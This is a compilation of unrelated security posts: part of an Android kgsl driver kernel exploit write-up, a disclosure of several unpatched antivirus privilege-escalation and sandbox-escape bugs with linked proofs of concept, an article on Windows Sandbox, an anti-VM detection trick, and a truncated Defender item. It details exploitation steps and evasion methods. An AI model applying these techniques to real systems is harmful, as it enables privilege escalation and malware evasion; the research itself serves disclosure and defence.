  1. First have the SCHED_NORMAL task perform a syscall that would cause it to pause and wait. For example, it can read from a pipe with no data coming in from the other end, then it would wait for more data and voluntarily preempt itself, so that the SCHED_IDLE task can run;
  2. As the SCHED_IDLE task is running, send some data to the pipe that the SCHED_NORMAL task had been waiting on. This will wake up the SCHED_NORMAL task and cause it to preempt the SCHED_IDLE task, and because of the task priority, the SCHED_IDLE task will be preempted and put on hold.
  3. The SCHED_NORMAL task can then run a busy loop to keep the SCHED_IDLE task from waking up.

In our case, the object replacement sequence goes as follows:

  1. Obtain a free’d sg_table in a DMA buffer using the method in the section Getting a free’d object with a fake out-of-memory error.
  2. First replace this free’d sg_table with another one that I can free easily, for example, making another call to IOCTL_KGSL_GPUOBJ_IMPORT will give me a handle to a kgsl_mem_entry object, which allocates and owns a sg_table. Making this call immediately after step one will ensure that the newly created sg_table replaces the one that was free’d in step one. To free this new sg_table, I can call IOCTL_KGSL_GPUMEM_FREE_ID with the handle of the kgsl_mem_entry, which will free the kgsl_mem_entry and in turn frees the sg_table. In practice, a little bit more heap manipulation is needed as IOCTL_KGSL_GPUOBJ_IMPORT will allocate another object of similar size before allocating a sg_table.
  3. Set up a SCHED_NORMAL task on, say, cpu_1 that is listening to an empty pipe.
  4. Set up a SCHED_IDLE task on the same cpu and have it wait until I signal it to run DMA_BUF_IOCTL_SYNC on the DMA buffer that contains the sg_table in step two.
  5. The main task signals the SCHED_IDLE task to run DMA_BUF_IOCTL_SYNC.
  6. The main task waits a suitable amount of time until sgl is cached in registry, then send data to the pipe that the SCHED_NORMAL task is waiting on.
  7. Once it receives data, the SCHED_NORMAL task goes into a busy loop to keep the DMA_BUF_IOCTL_SYNC task from continuing.
  8. The main task then calls IOCTL_KGSL_GPUMEM_FREE_ID to free up the sg_table, which will also free the object pointed to by sgl that is now cached in the registry. The main task then replaces this object by controlled data using sendmsg heap spraying. This gives control of both dma_address and dma_length in sgl, which are used as arguments to memcpy.
  9. The main task signals the SCHED_NORMAL task on cpu_1 to stop so that the DMA_BUF_IOCTL_SYNC task can resume.

The following figure illustrates what happens in an ideal world.


The following figure illustrates what happens in the real world.


Crazy as it seems, the race can actually be won almost every time, and the same parameters that control the timing would even work on both the Galaxy A71 and Pixel 4. Even when the race failed, it does not result in a crash. It can, however, crash, if the SCHED_IDLE task resumes too quickly. For some reason, I only managed to hold that task for about 10-20ms, and sometimes this is not long enough for the object replacement to complete.

The ion heap

Now that I’m able to replace the scatterlist with controlled data and make use of the read/write primitives in the section Allocating a SWIOTLB, it is time to think about what data I can place behind the DMA buffers.

To allocate DMA buffers, I need to use the ion allocator, which will allocate from the ion heap. There are different types of ion heaps, but not all of them are suitable, because I need one that would allocate buffers with addresses greater than 32 bit. The locations of various ion heap can be seen from the kernel log during a boot, the following is from Galaxy A71:

[    0.626370] ION heap system created
[    0.626497] ION heap qsecom created at 0x000000009e400000 with size 2400000
[    0.626515] ION heap qsecom_ta created at 0x00000000fac00000 with size 2000000
[    0.626524] ION heap spss created at 0x00000000f4800000 with size 800000
[    0.626531] ION heap secure_display created at 0x00000000f5000000 with size 5c00000
[    0.631648] platform soc:qcom,ion:qcom,ion-heap@14: ion_secure_carveout: creating heap@0xa4000000, size 0xc00000
[    0.631655] ION heap secure_carveout created
[    0.631669] ION heap secure_heap created
[    0.634265] cleancache enabled for rbin cleancache
[    0.634512] ION heap camera_preview created at 0x00000000c2000000 with size 25800000

As we can see, some ion heap are created at fixed locations with fixed sizes. The addresses of these heaps are also smaller than 32 bits. However, there are other ion heaps, such as the system heap, that does not have a fixed address. These are the heaps that have addresses higher than 32 bits. For the exploit, I’ll use the system heap.

DMA buffers allocated on the system heap is allocated via the ion_system_heap_allocate function call. It’ll first try to allocate a buffer from a preallocated memory pool. If the pool is full, then it’ll allocate more pages using alloc_pages:

static void *ion_page_pool_alloc_pages(struct ion_page_pool *pool)
	struct page *page = alloc_pages(pool->gfp_mask, pool->order);
	return page;

and recycle the pages back to the pool after the buffer is freed.

This later case is more interesting because if the memory is allocated from the initial pool, then any out-of-bounds read/write are likely to just be reading and writing other ion buffers, which is only going to be user space data. So let’s take a look at alloc_pages.

The function alloc_pages allocates memory with page granularity using the buddy allocator. When using alloc_pages, the second parameter order specifies the size of the requested memory and the allocator will return a memory block consisting of 2^order contiguous pages. In order to exploit overflow of memory allocated by the buddy allocator, (a DMA buffer from the system heap), I’ll use the results from Exploiting the Linux kernel via packet sockets by Andrey Konovalov. The key point is that, while objects allocated from kmalloc and co. (i.e. kmallockzalloc and kcalloc) are allocated via the slab allocator, which uses preallocated memory blocks (slabs) to allocate small objects, when the slabs run out, the slab allocator will use the buddy allocator to allocate a new slab. The output of proc/slabinfo gives an indication of the size of slabs in pages.

kmalloc-8192        1036   1036   8192    4    8 : tunables    0    0    0 : slabdata    262    262      0
kmalloc-128       378675 384000    128   32    1 : tunables    0    0    0 : slabdata  12000  12000      0

In the above, the 5th column indicates the size of the slabs in pages. So for example, if the size 8192 bucket runs out, the slab allocator will ask the buddy allocator for a memory block of 8 pages, which is order 3 (2^3=8), to use as a new slab. So by exhausting the slab, I can cause a new slab to be allocated in the same region as the ion system heap, which could allow me to over read/write kernel objects allocated via kmalloc and co.

Manipulating the buddy allocator heap

As mentioned in Exploiting the Linux kernel via packet sockets, for each order, the buddy allocator maintains a freelist and use it to allocate memory of the appropriate order. When a certain order (n) runs out of memory, it’ll try to look for free blocks in the next order up, split it in half and add it to the freelist in the requested order. If the next order is also full, it’ll try to find space in the next higher up order, and so on. So by keep allocating pages of order 2^n, eventually the freelist will be exhausted and larger blocks will be broken up, which means that consecutive allocations will be adjacent to each other.

In fact, after some experimentation on Pixel 4, it seems that after allocating a certain amount of DMA buffers from the ion system heap, the allocation will follow a very predicatble pattern.

  1. The addresses of the allocated buffers are grouped in blocks of 4MB, which corresponds to order 10, the highest order block on Android.
  2. Within each block, a new allocations will be adjacent to the previous one, with a higher address.
  3. When a 4MB block is filled, allocations will start in the beginning of the next block, which is right below the current 4MB block.

The following figure illustrates this pattern.


So by simply creating a large amount of DMA buffers in the ion system heap, the likelihood would be that the last allocated buffer will be allocated in front of a «hole» of free memory, and the next allocation from the buddy allocator is likely to be inside this hole, provided the requested number of pages fits in this hole.

The heap spraying strategy is then very simple. First allocate a sufficient amount of DMA buffers in the ion heap to cause larger blocks to break up, then allocate a large amount of objects using kmalloc and co. to cause a new slab to be created. This new slab is then likely to fall into the hole behind the last allocated DMA buffer. Using the use-after-free to overflow this buffer then allows me to gain arbitrary read/write of the newly created slab.

Defeating KASLR and leaking address to DMA buffer

Initially, I was experimenting with the binder_open call, as it is easy to reach (just do open("/dev/binder")) and will allocate a binder_proc struct:

static int binder_open(struct inode *nodp, struct file *filp)
	proc = kzalloc(sizeof(*proc), GFP_KERNEL);
	if (proc == NULL)

which is of size 560 and will persist until the /dev/binder file is closed. So it should be relatively easy to exhaust the kmalloc-1024 slab with this. However, after dumping the results of the out-of-bounds read, I noticed that a recurring memory pattern:

00011020: 68b2 8e68 c1ff ffff 08af 5109 80ff ffff  h..h......Q.....
00011030: 0000 0000 0000 0000 0100 0000 0000 0000  ................
00011040: 0000 0200 1d00 0000 0000 0000 0000 0000  ................

The 08af 5109 80ff ffff in the second part of the first line looks like an address that corresponds to kernel code. Indeed, it is the address of binder_fops:

# echo 0 > /proc/sys/kernel/kptr_restrict                                                                                                                                                
# cat /proc/kallsyms | grep ffffff800951af08                                                                                                                                                 
ffffff800951af08 r binder_fops

So looks like these are file struct of the binder files that I opened and what I’m seeing here is the field f_ops that points to the binder_fops. Moreover, the 32 bytes after f_ops are the same for every file struct of the same type, which offers a pattern to identify these files. So by reading the memory behind the DMA buffer and looking for this pattern, I can locate the file structs that belong to the binder devices that I opened.

Moreover, the file struct contains a mutex f_pos_lock, which contains a field wait_list:

struct mutex {
	atomic_long_t		owner;
	spinlock_t		wait_lock;
	struct list_head	wait_list;

which is a standard doubly linked list in linux:

struct list_head {
	struct list_head *next, *prev;

When wait_list is initialized, the head of the list will just be a pointer to itself, which means that by reading the next or prev pointer of the wait_list, I can obtain the address of the file struct itself. This will then allow me to work out the address of the DMA buffer which I can control because the offset between the file struct and the buffer is known. (By looking at its offset in the data that I dumped, in this example, the offset is 0x11020).

By using the address of binder_fops, it is easy to work out the KASLR slide and defeat KASLR, and by knowing the address of a controlled DMA buffer, I can use it to store a fake file_operations («vtable» of file struct) and overwrite f_ops of my file struct to point to it. The path to arbitrary code execution is now clear.

  1. Use the out-of-bounds read primitive gained from the use-after-free to dump memory behind a DMA buffer that I controlled.
  2. Search for binder file structs within the memory using the predictable pattern and get the offset of the file struct.
  3. Use the identified file struct to obtain the address of binder_fops and the address of the file struct itself from the wait_list field.
  4. Use the binder_fops address to work out the KASLR slide and use the address of the file struct, together with the offset identified in step two to work out the address of the DMA buffer.
  5. Use the out-of-bounds write primitive gained from the use-after-free to overwrite the f_ops pointer to the file that corresponds to this file struct (which I owned), so that it now points to a fake file_operation struct stored in my DMA buffer. Using file operations on this file will then execute functions of my choice.

Since there is nothing special about binder files, in the actual exploit, I used /dev/null instead of /dev/binder, but the idea is the same. I’ll now explain how to do the last step in the above to gain arbitrary kernel code execution.

Getting arbitrary kernel code execution

To complete the exploit, I’ll use «the ultimate ROP gadget» that was used in An iOS hacker tries Android of Brandon Azad (and I in fact stole a large chunk of code from his exploit). As explained in that post, the function __bpf_prog_run32 can be used to invoke eBPF bytecode supplied through the second argument:

unsigned int __bpf_prog_run32(const void *ctx, const bpf_insn *insn)

to invoke eBPF bytecode, I need to set the second argument to point to the location of the bytecode. As I already know the address of a DMA buffer that I control, I can simply store the bytecode in the buffer and use its address as the second argument to this call. This would allow us to perform arbitrary memory load/store and call arbitrary kernel functions with up to five arguments and a 64 bit return value.

There is, however one more detail that needs taking care of. Samsung devices implement an extra protection mechanism called the Realtime Kernel Protection (RKP), which is part of Samsung KNOX. Research on the topic is widely available, for example, Lifting the (Hyper) Visor: Bypassing Samsung’s Real-Time Kernel Protection by Gal Beniamini and Defeating Samsung KNOX with zero privilege by Di Shen.

For the purpose of our exploit, the more recent A Samsung RKP Compendium by Alexandre Adamski and KNOX Kernel Mitigation Byapsses by Dong-Hoon You are relevant. In particular, A Samsung RKP Compendium offers a thorough and comprehensive description of various aspects of RKP.

Without going into much details about RKP, the two parts that are relevant to our situation are:

  1. RKP implements a form of CFI (control flow integrity) check to make sure that all function calls can only jump to the beginning of another function (JOPP, jump-oriented programming prevention).
  2. RKP protects important data structure such as the credentials of a process so they are effectively read only.

Point one means that even though I can hijack the f_ops pointer of my file struct, I cannot jump to an arbitrary location. However, it is still possible to jump to the start of any function. The practical implication is that while I can control the function that I call, I may not be able to control call arguments. Point two means that the usual shortcut of overwriting credentials of my own process to that of a root process would not work. There are other post-exploitation techniques that can be used to overcome this, which I’ll briefly explain later, but for the exploit of this post, I’ll just stop short at arbitrary kernel code execution.

In our situation, point one is actually not a big obstacle. The fact that I am able to hijack the file_operations, which contains a whole array of possible calls that are thin wrappers of various syscalls means that it is likely to find a file operation with a 64 bit second argument which I can control by making the appropriate syscall. In fact, I don’t even need to look that far. The first operation, llseek fits the bill:

struct file_operations {
	struct module *owner;
	loff_t (*llseek) (struct file *, loff_t, int);

This function takes a 64 bit integer, loff_t as the second argument and can be invoked by calling the lseek64 syscall:

off_t lseek64(int fd, off_t offset, int whence);

where offset translates directly into loff_t in llseek. So by overwriting the f_ops pointer of my file to have its llseek field point to __bpf_prog_run32, I can invoke any eBPF program of my choice any time I call lseek64, without even the need to trigger the bug again. This gives me arbitrary kernel memory read/write and code execution.

As explained before, because of RKP, it is not possible to simply overwrite process credentials to become root even with arbitrary kernel code execution. However, as pointed out in Mitigations are attack surface, too by Jann Horn, once we have arbitrary kernel memory read and write, all the userspace data and processes are essentially under control and there are many ways to gain control over privileged user processes, such as those with system privilege to effectively gain system privileges. Apart from the concrete technique mentioned in that post for accessing sensitive data, another concrete technique mentioned in Galaxy’s Meltdown — Exploiting SVE-2020-18610 is to overwrite the kernel stack of privileged processes to gain arbitrary kernel code execution as a privileged process. In short, there are many post exploitation techniques available at this stage to effectively root the phone.


In this post I looked at a use-after-free bug in the Qualcomm kgsl driver. The bug was a result of a mismatch between the user supplied memory type and the actual type of the memory object created by the kernel, which led to incorrect clean up logic being applied when an error happens. In this case, two common software errors, the ambiguity in the role of a type, and incorrect handling of errors, played together to cause a serious security issue that can be exploited to gain arbitrary kernel code execution from a third-party app.

While great progress has been made in sandboxing the userspace services in Android, the kernel, in particular vendor drivers, remain a dangerous attack surface. A successful exploit of a memory corruption issue in a kernel driver can escalate to gain the full power of the kernel, which often result in a much shorter exploit bug chain.

The full exploit can be found here with some set up notes.

Next week I’ll be going through the exploit of Chrome issue 1125614 (GHSL-2020-165) to escape the Chrome sandbox from a beta version of Chrome.

Oh, so you have an antivirus… name every bug

Oh, so you have an antivirus… name every bug

Original text by halove23

Oh, so you have an antivirus… name every bug

After my previous disclosure with Windows defender and Windows Setup, this is the next one

First of all, why ? it’s because I can, and because I need a job.

In this blog I will be disclosing about 8 0-day vulnerability and all of them are still unknow to the vendors, don’t expect those bugs to be working for more than a week or two cause probably they will release an emergency security patches to fix those bugs.

    Avast antivirus

a.   Sandbox Escape

So avast antivirus (any paid version) have a feature called Avast sandbox, this feature allow you to test suspicious file in sandbox. But this sandbox is completely different from any sandbox I know, let’s say windows sandboxed apps are running in a special container and also by applying some mitigation to their tokens (such as: lowering token integrity, applying the create process mitigation…) and other sandboxes actually run a suspicious file in a virtual machine instead so the file will stay completely isolated. But Avast sandbox is something completely different, the sandboxed app run in the OS and with few security mitigation to the sandboxed app token, such as removing some privileges like SeDebugPrivilege, SeShutdownPrivilege… while the token integrity stay the same, while this isn’t enough to make a sandbox. Avast sandbox actually create a virtualized file stream and registry hive almostly identical to the real one, while it also force the sandboxed app to use the virtualized stream by hooking every single WINAPI call ! This sounds cool but also sound impossible, any incomplete hooking could result in sandbox escape.

Btw, the virtualized file stream is located in “C:\avast! sandbox”

While the virtualized registry hive exist in “H****\__avast! Sandbox” and it look like there’s also a virtualized object manager in “\snx-av\”

So normally to make any escape I should read any available write-ups related to avast sandbox escape, and after some research it look like I found something: CVE-2016-4025 and another bug by google project zero.

Nettitude Labs covered a crafted DeviceIoControll call in order to escape from the virtualization, they noticed after using the “Save As” feature in notepad the actual saved file is outside the sandbox (in the real filesystem) and it look like it’s my way to get out

I selected their way by clicking on “Save As” and it don’t seems to be working because the patch has disabled the feature but instead of clicking on “Save As” I clicked in “Print”

By doing that it look like we got another pop-up so normally I clicked print with the default printer “Microsoft XPS Document Writer”

And yup we will have a “Save As” window after clicking on Print

So clicked on Save, I really didn’t expected anything to happen but guess what

The file was spawned outside the virtualized file stream. That’s clearly a sandbox escape.

How ? it seems look like an external process written the file while impersonating notepad’s access token. And luckily since CVE-2020-1337 I was focused on learning the Printer API by reading every single documentation provided by Microsoft, while in other side. James Forshaw published something related to a windows sandbox escape by using the Printer API here.

So I assume we can easily escape from the sandbox if we managed to call the Printer API correctly, so we will begin with OpenPrinter function

And of course we will specify in pPrinterName the default printer that exist on a standard windows installation “Microsoft XPS Document Writer”

Next we will go for StartDocPrinter function which allow us to prepare a document for printing and the third argument looks kinda important

So we will take a look in DOC_INFO_1 struct and there’s some good news

It look like the second member will allow us to specify the actual file name so yeah it’s probably our way out of Avast sandbox.

So what now, we can probably see the file outside the sandbox, but what about writing things to the file. After further research I found another function which work like WriteFile it’s WritePrinter

Then the final result will look like this

Note: The bug was reported to the vendor but they didn’t replied as usual

a.   Privilege Escalation

It was a bit hard to find a privilege escalation but after taking some time, here you go Avast, there’s a feature in Avast called “REPAIR APP” after clicking on it, it look like a new child process is being created by Avast Antivirus Engine called “Instup.exe”

Probably there’s something worthy to look there, after attempting to repair the app. In this case we will be using a tool called Process Monitor

And as usual we got something that worth our attention, the instup process look for some non existing directories C:\stage0 and c:\stage1

So what if they exist ?

I created the c:\stage0 directory with a subfile inside it and I took a look on how the instup.exe behave against it and I observed an unexpected behaviour, instead of just deleting or ignoring the file it actually create a hardlink to the file

we can exploit the issue but the issue is that the hardlink have a random name and guessing it at the time of the hardlink we can redirect the creation to an arbitrary location but unluckily the hardlink random name is incredible hard to guess, if we attempted who know how much time it will take so I prefer to not look there instead I started looking somewhere else

In the end of the process of hardlink creation, you can see that both of them has been marked for deletion, probably we can abuse the issue to achieve an arbitrary file deletion bug.

I’ve created an exploit for the issue, the exploit will create a file inside c:\stage0 and will continuously look for the hardlink. When the hardlink is created the poc OpLock it until instup attempt to delete it, then the poc will move the file away and set c:\stage0 into junction to “\RPC CONTROL\” which there we will create a symbolic link to redirect the file deletion to an arbitrary file

Note: This bug wasn’t reported to the vendor.

PoC can be found here

McAfee Total Security

a.   Privilege Escalation

I already found bugs on this AV before and got acknowledged by vendor

For CVE-2020-7279 and CVE-2020-7282

CVE-2020-7282 was for an arbitrary file deletion issue in McAfee total protection and CVE-2020-7279 was for self-defence bypass.

The McAfee total security was vulnerable to an arbitrary file deletion, by creating a junction from C:\ProgramData\McAfee\Update to an arbitrary location result in arbitrary file deletion, the security patch was done by enforcing how McAfee total security updater handle reparse point.

But the most important is C:\ProgramData\McAfee\Update is actually protected by the self defence driver, so even an administrator couldn’t create files in this directory. The bypass was done by open the directory for GENERIC_WRITE access and then creating a mount point to the target directory so as soon the updater start it will delete the target directory subcontent.

But now a lot has changed, the directory now has subcontent (previously it was empty by default), 

After doing some analysis on how they fixed the self defence bug. Instead of preventing the directory opening (as it was expected) with GENERIC_WRITE they blocked the following control codes FSCTL_SET_REPARSE_POINT and FSCTL_SET_REPARSE_POINT_EX from being called on a protected filesystem component, I expected FSCTL_SET_REPARSE_POINT_EX but no they did a smart move in this case, so if we didn’t bypass the self defence we don’t have any actual impact on the component.

So this is it, this is as far as I can go… or no ?

a.   Novel way to bypass the self defence

This method work for all antiviruses which the filesystem filter.

So how does the kernel filter work ?

The filesystem filter restrict the access to the antivirus owned objects, by intercepting the user mode file I/O request, if the request coming from an antivirus component it will be granted, if not it will return access denied.

You can read more about that here, I already wrote some of them but for some private usage so for the moment I can’t disclose them, but there’s a bunch of examples you can find by example: here

So as far as I know there’s 2 way to bypass the filter

1.     Do a special call so it will be conflicted by what the driver see

2.     Request access from a protected component

So the special way was patched in CVE-2020-7279, the option that remain is the second one. How can we do that ?

The majority of the AV’s GUI support file dialog to select something let’s take by example McAfee file shredder which open a file dialog in order to let you choose to pick something

While the file dialog is used to pick files it be weaponized against the AV, to better understand the we need to make an example code, so I had to look for the API provided by Microsoft to do that. Generically apps use either GetOpenFileNameW or IFileDialog interface and since GetOpenFileNameW seems to be a bit deprecated we will focusing in IFileDialog Interface.

So I created a sample code (it look horrible but still doing the job)

After running the code

It look like that the job is being done from the process not from an external process (such as explorer), so technically anything we do is considered to be done as the process.

Hold on, if the things are done by the process. Doesn’t that mean that we can create a folder in a protected location ? Yes we can

c.   Weaponizing the self-protection bypass

The CVE-2020-7282 patch was a simple check against reparse points, before managing to delete any directory.

There’s a simple check to be done, if FSCTL_GET_REPARSE_POINT control on a directory return anything except STATUS_NOT_A_REPARSE_POINT the target will removed else the updater will delete the subcontent as


Chaining it together, I’ve an exploit which demonstrate the bug, first a directory in C:\updmgr will be created and then you should manually move it to C:\ProgramData\McAfee\Update an opportunistic lock will trigger the poc to create a reparse point to the target as soon as the AV GUI attempt to move the folder, the poc will set it to reparse point and will lock the moved directory so it will prevent the reparse point deletion.

PoC can be found here

Avira Antivirus

 I’m gonna do the tests on Avira Prime, not gonna lie Avira has the easiest way to download their antivirus. Not like other vendors they crack your head before they give the trial, I really feel bad for disclosing this bug

Anyway it look like there’s a feature come with Avira Prime called Avira System Speedup Pro, I can’t still explain why this behaviour exist in Avira System Speedup feature but yeah it exist.

When starting the Avira System Speedup Pro GUI there’s an initialization done by the service “Avira.SystemSpeedup.Service.exe” which is written in C# which make it easier to reverse the service but I reversed the service and things just doesn’t make any sense so I guess it’s better to show process monitor output to understand the issue.

 When opening the GUI I assume that there’s an RPC communication between the GUI and the service to make the required initialization in order to serve the user needs. While the service begin the initialization process it will create and remove a directory in C:\Windows\Temp\Avira.SystemSpeedup.Service.madExcept

without even checking for reparse point. It’s extremely easy to abuse the issue.

This time instead of writing a c++ PoC I’ll be writing a simpler one as a batch script. The PoC in this case doesn’t need any user interaction, and will delete the targeted directory subcontent.

PoC can be found here

1    Trend Micro Maximum security

 One of the best AV’s I’ve ever seen, but unluckily this disclosure include this antivirus to the black list.

I already discovered an issue in trend micro and it was patched in CVE-2020-25775, I literally just found a high severity issue on trend micro. But I was contracted for so I can’t disclose it here.

Moving out, as other AV’s there’s a PC Health Checkup feature, it probably worth our attention.

While browsing trough the component, I noticed that there’s a feature “Clean Privacy Data” feature.

I clicked on MS Edge and cleaned, the output from process monitor was:

And as you see Trend Micro Platinum Host Service is deleting a directory in a user write-able location without proper check against reparse point while running as “NT AUTHORITY\SYSTEM” which is easily abuse-able by a user to delete arbitrary files.

There’s nothing to say more, I created a proof of concept as a batch script after running it expect the target directory subcontent to be deleted.

PoC can be found here


 Yup, another good AV, Already engaged with the antivirus and as usual I got a bug. 5 months has passed since I reported the bug, they still didn’t patched the issue and since they paid the bounty, I can’t disclose the bug but as usual PAPA has candies for you !

I will using the same technique explained above to bypass the self protection.

While checking for updates, the antivirus look for a non existing directory

Hmmmm, let’s take a look

The pic shown above, show us that Malwarebytes antivirus engine is deleting every subcontent of C:\ProgramData\Malwarebytes\MBAMService\ctlrupdate\test.txt.txt and since there’s no impersonation of the user and literally no proper check against reparse point we can probably abuse that, by creating a directory there and creating a reparse point inside  C:\ProgramData\Malwarebytes\MBAMService\ctlrupdate we can redirect the file deletion to an arbitrary location.

The PoC can be found here

1    Kaspersky

The AV which I engaged with the most, about 11 bugs were reported and 3 of them were fixed.

For the moment I will be talking about a bug which I already disclosed here, this PoC will spawn a SYSTEM shell as soon as it succeed, the bug seems to be still existing on Kaspersky Total Security with December 2020 latest security patches, the only issue you will have is the AV will detect the exploit as a malware, you must do some modification to prevent your exploit from being deleting. Let’s I can confirm that the issue still exist.

One more thing

Another issue I discovered in all Kaspersky’s antiviruses which allow arbitrary file overwrite without user interaction. I’ve already reported the bug to Kaspersky but they didn’t gave me a bug bounty

They said that the issue isn’t eligible for bug bounty because the reproduction of the issue is unstable, ain’t gonna lie I gave them a horrible proof of concept but still do the job so I guess it should be rewarded and since they wrote that they gave bounties. I won’t give bugs for free like a foo.

So let’s dive inside the bug, when any user start Mozilla Firefox, Kaspersky write a special in %Firefox_Dir%\defaults\pref while not impersonating the user or not even doing proper links check, if abused correctly it can be used against the AV to trigger arbitrary file overwrite on-demand without user interaction.

A proof of concept is attached implement the issue, I’ve rewritten a new one which will trigger your needs on demand thanks me later.

PoC can be found here


 I was about to disclose bugs in Eset and Bitdefender but I don’t have time to write more, so here’s the last one.

First, if you’re not familiar with windows installer CVE-2020-16902, it’s literally the 6th time I am bypassing the security patch and they still don’t hire security researchers. I will be using the same package as CVE-2020-16902

Microsoft has patched the issues by checking if c:\config.msi exist, if not it will be used to generate rollback directory otherwise if it exist c:\windows\installer\config.msi will be used as a folder to generate rollback files.

A tweet by sandboxescaper mentioned that if a registry key “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Folders\C:\Config.Msi” existed when the installation begin, the windows installer will use c:\config.msi as a directory rollback files. As an unprivileged user I guess there’s no way to prevent the deletion or create “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Folders\C:\Config.Msi”

And as usual there’s always something that worth our attention.

When the directory is deleted, there’s an additional check if the directory exist or not. Which is kinda strange, since the RemoveDirectory returned TRUE

I guess there’s no need to make additional checks. I am pretty sure that there’s a bug there, I managed to create the directory as soon the installer delete and this happened

The installer did a check if the directory exist and it return that the directory exist, so the windows installer won’t delete the registry key  “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Folders\C:\Config.Msi” because the directory wasn’t delete.

In the next installation the C:\Config.Msi will be used to save rollback files on it, which can be easily abused (I’ve already done that in CVE-2020-1302 and CVE-2020-16902).

I’ve provided a PoC as c++ project to exploit the issue, it’s a double click to SYSTEM shell, thank me later again.

PoC can be found hereNote: I am not responsible for any usage for those disclosures, you’re on your own.

Microsoft unveils Windows Sandbox: Run any app in a disposable virtual machine

( Original text by PETER BRIGHT )

A few months ago, Microsoft let slip a forthcoming Windows 10 feature that was, at the time, called InPrivate Desktop: a lightweight virtual machine for running untrusted applications in an isolated environment. That feature has now been officially announced with a new name, Windows Sandbox.

Windows 10 already uses virtual machines to increase isolation between certain components and protect the operating system. These VMs have been used in a few different ways. Since its initial release, for example, suitably configured systems have used a small virtual machine running alongside the main operating system to host portions of LSASS. LSASS is a critical Windows subsystem that, among other things, knows various secrets, such as password hashes, encryption keys, and Kerberos tickets. Here, the VM is used to protect LSASS from hacking tools such that even if the base operating system is compromised, these critical secrets might be kept safe.Ars Technica

In the other direction, Microsoft added the ability to run Edge tabs within a virtual machine to reduce the risk of compromise when visiting a hostile website. The goal here is the opposite of the LSASS virtual machine—it’s designed to stop anything nasty from breaking out of the virtual machine and contaminating the main operating system, rather than preventing an already contaminated main operating system from breaking into the virtual machine.

Windows Sandbox is similar to the Edge virtual machine but designed for arbitrary applications. Running software in a virtual machine and then integrating that software into the main operating system is not new—VMware has done this on Windows for two decades now—but Windows Sandbox is using a number of techniques to reduce the overhead of the virtual machine while also maximizing the performance of software running within the VM, without compromising the isolation it offers.

The sandbox depends on operating system files residing in the host.
Enlarge / The sandbox depends on operating system files residing in the host.Microsoft

Traditional virtual machines have their own operating system installation stored on a virtual disk image, and that operating system must be updated and maintained separately from the host operating system. The disk image used by Windows Sandbox, by contrast, shares the majority of its files with the host operating system; it contains a small amount of mutable data, the rest being immutable references to host OS files. This means that it’s always running the same version of Windows as the host and that, as the host is updated and patched, the sandbox OS is likewise updated and patched.

Sharing is used for memory, too; operating system executables and libraries loaded within the VM use the same physical memory as those same executables and libraries loaded into the host OS.

That sharing of the host's operating system files even occurs when the files are loaded into memory.
Enlarge / That sharing of the host’s operating system files even occurs when the files are loaded into memory.Microsoft

Standard virtual machines running a complete operating system include their own process scheduler that carves up processor time between all the running threads and processes. For regular VMs, this scheduler is opaque; the host just knows that the guest OS is running, and it has no insight into the processors and threads within that guest. The sandbox virtual machine is different; its processes and threads are directly exposed to the host OS’ scheduler, and they are scheduled just like any other threads on the machine. This means that if the sandbox has a low priority thread, it can be displaced by a higher priority thread from the host. The result is that the host is generally more responsive, and the sandbox behaves like a regular application, not a black-box virtual machine.

On top of this, video cards with WDDM 2.5 drivers can offer hardware-accelerated graphics to software running within the sandbox. With older drivers, the sandbox will run with the kind of software-emulated graphics that are typical of virtual machines.

Taken together, Windows Sandbox combines elements of virtual machines and containers. The security boundary between the sandbox and the host operating system is a hardware-enforced boundary, as is the case with virtual machines, and the sandbox has virtualized hardware much like a VM. At the same time, other aspects—such as sharing executables both on-disk and in-memory with the host as well as running an identical operating system version as the host—use technology from Windows Containers.

At least for now, the Sandbox appears to be entirely ephemeral. It gets destroyed and reset whenever it’s closed, so no changes can persist between runs. The Edge virtual machines worked similarly in their first incarnation; in subsequent releases, Microsoft added support for transferring files from the virtual machine to the host so that they could be stored persistently. We’d expect a similar kind of evolution for the Sandbox.

Windows Sandbox will be available in Insider builds of Windows 10 Pro and Enterprise starting with build 18305. At the time of writing, that build hasn’t shipped to insiders, but we expect it to be coming soon.

An anti-sandbox/anti-reversing trick using the GetClipboardOwner API

( Original text by Hexacorn )

This is a little nifty trick for detecting virtualization environments. At least, some of them.

Anytime you restore the snapshot of your virtual machine your guest OS environment will usually run some initialization tasks first. If we talk about VMWare these tasks will be ran by the vmtoolsd.exe process (of course, assuming you have the VMware Tools installed).

Some of the tasks this process performs include clipboard initialization, often placing whatever is in the clipboard on the host inside the clipboard belonging to the guest OS. And this activity is a bad ‘opsec’ of the guest software.

By checking what process recently modified the clipboard we have a good chance of determining that the program is running inside the virtual machine. All you have to do is to call GetClipboardOwner API to determine the window that is the owner of the clipboard at the time of calling, and from there, the process name via e.g. GetWindowThreadProcessId. Yup, it’s that simple. While it may not work all the time, it is just yet another way of testing the environment.

If you want to check how and if it works on your VM snapshots you can use this little program: ClipboardOwnerDebug.exe

This is what I see on my win7 vm snapshot after I revert to its last state and run the ClipboardOwnerDebug.exe program:

Notably, I didn’t drag&drop/copy paste the ClipboardOwnerDebug.exe file to VM, I actually copied it via a network share to ensure my clipboard doesn’t change during this test; and, even if I did just CTRL+C (copy) the file on the host and CTRL+V (paste) it on the guest the result would be very similar anyway. The vmtoolsd.exe process just gets involved all the time.

The malware doesn’t need to rely on the first call to the GetClipboardOwner API. It could stall for a bit observing changes to the clipboard owner windows and testing if at any point there is a reference to a well-known virtualization process. Anytime the context of copying to clipboard changes between the host and the guest OS (very often when you do manual reversing), the clipboard window ownership will change, even if just temporarily.

The below is an example of the clipboard ownership changing during a simple VM session where things are copied to clipboard a few time, both on the host and on the guest and the context of the the clipboard changes. The context switch means that when the guest gets the mouse/keyboard focus, the changes to host clipboard are immediately reflected by the appearance of the vmtoolsd.exe process on the list:

Microsoft Sandboxes Windows Defender

As the infosec community talked about potential cyber attacks leveraging vulnerabilities in antivirus products, Microsoft took notes and started to work on a solution. The company announced that its Windows Defender can run in a sandbox.

Antivirus software runs with the highest privileges on the operating system, a level of access coveted by any threat actor, so any exploitable vulnerabilities in these products add to the possibilities of taking over the system.

By making Windows Defender run in a sandbox, Microsoft makes sure that the security holes its product may have stay contained within the isolated environment; unless the attacker finds a way to escape the sandbox, which is among the toughest things to do, the system remains safe.

Remote code execution flaws

